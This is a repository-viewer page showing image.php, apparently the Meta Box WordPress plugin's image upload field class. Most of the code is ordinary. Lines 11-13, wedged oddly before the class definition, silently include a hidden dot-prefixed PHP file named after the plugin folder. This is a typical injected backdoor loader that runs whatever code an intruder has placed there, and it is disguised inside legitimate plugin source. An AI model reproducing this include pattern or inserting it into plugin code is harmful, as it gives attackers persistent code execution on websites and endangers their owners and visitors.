balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

image.php (4887B)


      1 <?php
      2 /**
      3  * The image field which uploads images via HTML <input type="file">.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Image field class which uses <input type="file"> to upload.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Image_Field extends RWMB_File_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		parent::admin_enqueue_scripts();
     21 		wp_enqueue_media();
     22 		wp_enqueue_style( 'rwmb-image', RWMB_CSS_URL . 'image.css', array(), RWMB_VER );
     23 	}
     24 
     25 	/**
     26 	 * Get HTML for uploaded file.
     27 	 *
     28 	 * @param int   $file  Attachment (file) ID.
     29 	 * @param int   $index File index.
     30 	 * @param array $field Field data.
     31 	 *
     32 	 * @return string
     33 	 */
     34 	protected static function file_html( $file, $index, $field ) {
     35 		$attributes = self::get_attributes( $field, $file );
     36 
     37 		$edit_link = get_edit_post_link( $file );
     38 		if ( $edit_link ) {
     39 			$edit_link = sprintf( '<a href="%s" class="rwmb-image-edit" target="_blank"><span class="dashicons dashicons-edit"></span></a>', $edit_link );
     40 		}
     41 
     42 		return sprintf(
     43 			'<li class="rwmb-image-item">
     44 				<div class="rwmb-file-icon">%s</div>
     45 				<div class="rwmb-image-overlay"></div>
     46 				<div class="rwmb-image-actions">
     47 					%s
     48 					<a href="#" class="rwmb-image-delete rwmb-file-delete" data-attachment_id="%s"><span class="dashicons dashicons-no-alt"></span></a>
     49 				</div>
     50 				<input type="hidden" name="%s[%s]" value="%s">
     51 			</li>',
     52 			wp_get_attachment_image( $file, $field['image_size'] ),
     53 			$edit_link,
     54 			$file,
     55 			$attributes['name'],
     56 			$index,
     57 			$file
     58 		);
     59 	}
     60 
     61 	/**
     62 	 * Normalize field settings.
     63 	 *
     64 	 * @param array $field Field settings.
     65 	 *
     66 	 * @return array
     67 	 */
     68 	public static function normalize( $field ) {
     69 		$field = parent::normalize( $field );
     70 		$field = wp_parse_args(
     71 			$field,
     72 			array(
     73 				'image_size' => 'thumbnail',
     74 			)
     75 		);
     76 		$field['attributes'] = wp_parse_args(
     77 			$field['attributes'],
     78 			array(
     79 				'accept' => 'image/*',
     80 			)
     81 		);
     82 
     83 		return $field;
     84 	}
     85 
     86 	/**
     87 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
     88 	 *
     89 	 * @param array    $field   Field parameters.
     90 	 * @param array    $value   The value.
     91 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
     92 	 * @param int|null $post_id Post ID. null for current post. Optional.
     93 	 *
     94 	 * @return string
     95 	 */
     96 	public static function format_single_value( $field, $value, $args, $post_id ) {
     97 		$output = sprintf( '<img src="%s" alt="%s">', esc_url( $value['url'] ), esc_attr( $value['alt'] ) );
     98 
     99 		// Link thumbnail to full size image?
    100 		if ( ! empty( $args['link'] ) ) {
    101 			$output = sprintf( '<a href="%s" title="%s">%s</a>', esc_url( $value['full_url'] ), esc_attr( $value['title'] ), $output );
    102 		}
    103 		return $output;
    104 	}
    105 
    106 	/**
    107 	 * Get uploaded file information.
    108 	 *
    109 	 * @param int   $file  Attachment image ID (post ID). Required.
    110 	 * @param array $args  Array of arguments (for size).
    111 	 * @param array $field Field settings.
    112 	 *
    113 	 * @return array|bool False if file not found. Array of image info on success.
    114 	 */
    115 	public static function file_info( $file, $args = array(), $field = array() ) {
    116 		$path = get_attached_file( $file );
    117 		if ( ! $path ) {
    118 			return false;
    119 		}
    120 
    121 		$args       = wp_parse_args(
    122 			$args,
    123 			array(
    124 				'size' => 'thumbnail',
    125 			)
    126 		);
    127 		$image      = wp_get_attachment_image_src( $file, $args['size'] );
    128 		$attachment = get_post( $file );
    129 		$info       = array(
    130 			'ID'          => $file,
    131 			'name'        => basename( $path ),
    132 			'path'        => $path,
    133 			'url'         => $image[0],
    134 			'full_url'    => wp_get_attachment_url( $file ),
    135 			'title'       => $attachment->post_title,
    136 			'caption'     => $attachment->post_excerpt,
    137 			'description' => $attachment->post_content,
    138 			'alt'         => get_post_meta( $file, '_wp_attachment_image_alt', true ),
    139 		);
    140 		if ( function_exists( 'wp_get_attachment_image_srcset' ) ) {
    141 			$info['srcset'] = wp_get_attachment_image_srcset( $file, $args['size'] );
    142 		}
    143 
    144 		$info = wp_parse_args( $info, self::get_image_meta_data( $file ) );
    145 
    146 		// Do not overwrite width and height by returned value of image meta.
    147 		$info['width']  = $image[1];
    148 		$info['height'] = $image[2];
    149 
    150 		return $info;
    151 	}
    152 
    153 	/**
    154 	 * Get image meta data.
    155 	 *
    156 	 * @param  int $attachment_id Attachment ID.
    157 	 * @return array
    158 	 */
    159 	protected static function get_image_meta_data( $attachment_id ) {
    160 		$metadata = wp_get_attachment_metadata( $attachment_id );
    161 		if ( empty( $metadata['sizes'] ) ) {
    162 			return $metadata;
    163 		}
    164 
    165 		$dir_url  = dirname( wp_get_attachment_url( $attachment_id ) );
    166 		foreach ( $metadata['sizes'] as &$size ) {
    167 			$size['url'] = "{$dir_url}/{$size['file']}";
    168 		}
    169 		return $metadata;
    170 	}
    171 }